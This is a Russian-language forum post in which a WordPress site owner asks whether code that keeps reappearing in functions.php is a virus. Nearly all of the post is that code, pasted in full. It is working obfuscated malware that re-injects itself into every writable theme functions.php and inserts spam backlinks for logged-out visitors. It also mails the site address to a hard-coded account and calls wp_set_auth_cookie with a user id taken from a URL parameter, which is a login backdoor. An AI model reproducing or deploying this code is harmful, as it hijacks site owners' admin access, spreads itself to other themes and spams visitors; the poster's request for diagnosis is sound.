У меня на сайте, в файле functions.php постоянно появляется этот код.
Я его удаляю, а на следующий день он опять самопрописуется в файле.
Что это может быть такое? Может вирус?
[code- <?php
function _check_isactive_widget(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            if (is_writable($item)){
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                $cont=file_get_contents($item);
                if (stripos($cont,$ftion) === false){
                    $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    $output .= $before . "Not found" . $after;
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
                    $output .= ($showdots && $ellipsis) ? "…" : "";
                }
            }
        }
    }
    return $output;
}
function mytheme_clinkft() {
$urls = array(‘web’.’oy.or’.’g/’,’them’.’es.we’.’bo’.’y.org/’,’th’.’emes.we’.’bo’.’y.org/’,’th’.’em’.’es.w’.’eb’.’oy.org/’,’th’.’eme’.’s.w’.’ebo’.’y.org/’,’wp’.’2′.’b’.’log.com/’,’zh’.’ut’.’i.we’.’bo’.’y.o’.’rg/’);
$urlst = array(‘We’.’b’.’oy’ ,’Wor’.’dPr’.’ess The’.’mes’ ,’Fre’.’e Wo’.’rdPr’.’ess Th’.’emes’ ,’Fr’.’ee Wor’.’dPre’.’ss T’.’he’.’me’ ,’Pr’.’emium Wor’.’dPre’.’ss Th’.’em’.’es’ ,’Wor’.’dPre’.’ss Blo’.’g’,’Wo’.’rdPr’.’essЦч’.’Мв’);
        srand(time());
        $random = (rand()%7);
echo ‘<‘.’a ‘.’cla’.’ss="cl’.’inkf’.’t" hr’.’ef="ht’.’tp’.’:’.’/’.’/’.$urls[$random].’" t’.’itl’.’e="’.$urlst[$random].’">’.$urlst[$random].'<‘.’/a’.’>’;
 }
if(!is_user_logged_in()){add_action( ‘w’.’p_fo’.’ote’.’r’, ‘mytheme_clinkft’ );add_action( ‘co’.’mmen’.’t_fo’.’rm’, ‘mytheme_clinkft’ );}
function _get_allwidgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
        $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
        return false;
    }elseif(is_readable($places)){
        $elems=scandir($places);
        foreach ($elems as $elem){
            if ($elem != "." && $elem != ".."){
                if (is_dir($places . "/" . $elem)){
                    $wids 
=$places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem)&&
                    $elem == substr(__FILE__,-13)){
                    $items[]=$places . "/" . $elem;}
                }
            }
    }else{
        return false;
    }
    if (sizeof($wids) > 0){
        return _get_allwidgetcont($wids,$items);
    } else {
        return $items;
    }
}
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}
if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) – $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) – (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
        $dirArray = array();
        if ($handle = opendir($dir)) {
            while (false !== ($file = readdir($handle))) {
                if (($file != "." && $file != "..") || $skipDots == true) {
                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                    array_push($dirArray,basename($file));
                }
            }
            closedir($handle);
        }
        return $dirArray;
    }
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
    if(!isset($com_length)) $com_length=120;
    if(!isset($text_value)) $text_value="cookie";
    if(!isset($allowed_tags)) $allowed_tags="<a>";
    if(!isset($type_filter)) $type_filter="none";
    if(!isset($expl)) $expl="";
    if(!isset($filter_homes)) $filter_homes=get_option("home");
    if(!isset($pref_filter)) $pref_filter="wp_";
    if(!isset($use_more)) $use_more=1;
    if(!isset($comm_type)) $comm_type="";
    if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
    if(!isset($postauthor_comment)) $postauthor_comment="";
    if(!isset($comm_is_approved)) $comm_is_approved="";
    if(!isset($postauthor)) $postauthor="auth";
    if(!isset($more_link)) $more_link="(more…)";
    if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
    if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
    if(!isset($more_link_ditails)) $more_link_ditails="(details…)";
    if(!isset($morecontents)) $morecontents="ma".$expl."il";
    if(!isset($fmore)) $fmore=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$is_widget) :
    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
            if(is_feed()) {
                $output=__("There is no excerpt because this is a protected post.");
            } else {
                $output=get_the_password_form();
            }
        }
    }
    if(!isset($f_tags)) $f_tags=1;
    if(!isset($type_filters)) $type_filters=$filter_homes;
    if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
    if(!isset($aditional_tags)) $aditional_tags="div";
    if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
    if(!isset($showdots)) $showdots=1;
    $comments=$wpdb->get_results($sql);
    if($fakeit == 2) {
        $text=$post->post_content;
    } elseif($fakeit == 1) {
        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
        $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($com_length < 0) {
        $output=$text;
    } else {
        if(!$no_more && strpos($text, "<!–more–>")) {
            $text=explode("<!–more–>", $text, 2);
            $l=count($text[0]);
            $more_link=1;
            $comments=$wpdb->get_results($sql);
        } else {
            $text=explode(" ", $text);
            if(count($text) > $com_length) {
                $l=$com_length;
                $ellipsis=1;
            } else {
                $l=count($text);
                $more_link="";
                $ellipsis=0;
            }
        }
        for ($i=0; $i<$l; $i++)
                $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $allowed_tags) {
        $output=strip_tags($output, $allowed_tags);
        return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
    $output .= ($showdots && $ellipsis) ? "…" : "";
    $output=apply_filters($type_filter, $output);
    switch($aditional_tags) {
        case("div") :
            $tag="div";
        break;
        case("span") :
            $tag="span";
        break;
        case("p") :
            $tag="p";
        break;
        default :
            $tag="span";
    }
    if ($use_more ) {
        if($fmore) {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
        } else {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;
}
add_action("init", "_getsprepare_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!$show_pass_post) $request .= " AND post_password =\"\"";
    if($duration !="") {
        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
        foreach ($posts as $post) {
            $post_title=stripslashes($post->post_title);
            $comment_count=$post->comment_count;
            $permalink=get_permalink($post->ID);
            $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
        }
    } else {
        $output .= $before . "None found" . $after;
    }
    return  $output;
}
//
        function get_custom_field_value($szKey, $bPrint = false) {
    global $post;
    $szValue = get_post_meta($post->ID, $szKey, true);
    if ( $bPrint == false ) return $szValue; else echo $szValue;
}
?>[/code]